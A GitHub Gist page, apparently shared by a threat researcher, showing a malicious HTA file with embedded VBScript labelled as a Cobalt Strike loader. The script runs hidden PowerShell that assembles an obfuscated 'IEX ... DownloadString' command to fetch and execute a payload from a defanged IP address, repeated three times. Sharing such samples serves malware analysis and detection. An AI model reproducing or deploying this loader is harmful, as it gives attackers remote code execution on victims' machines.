Created
August 8, 2022 20:39
-
-
Save BushidoUK/9fa2ee7d40f366297546f077049c6d01 to your computer and use it in GitHub Desktop.
Cobalt Strike VBS disguised as HTA file
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script language="VBScript"> | |
| Function dl() | |
| Dim var_shell | |
| Set var_shell = CreateObject("Wscript.Shell") | |
| var_shell.run "powershell -c $s1='IE';$s2='X(New-Object Net.WebClie';$s3='nt).Downlo';$s4='adString(''hxxp://159.223.37[.]182/update'')';IEX ($s1+$s2+$s3+$s4)", 0, true | |
| End Function | |
| dl | |
| dl | |
| dl | |
| self.close | |
| </script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment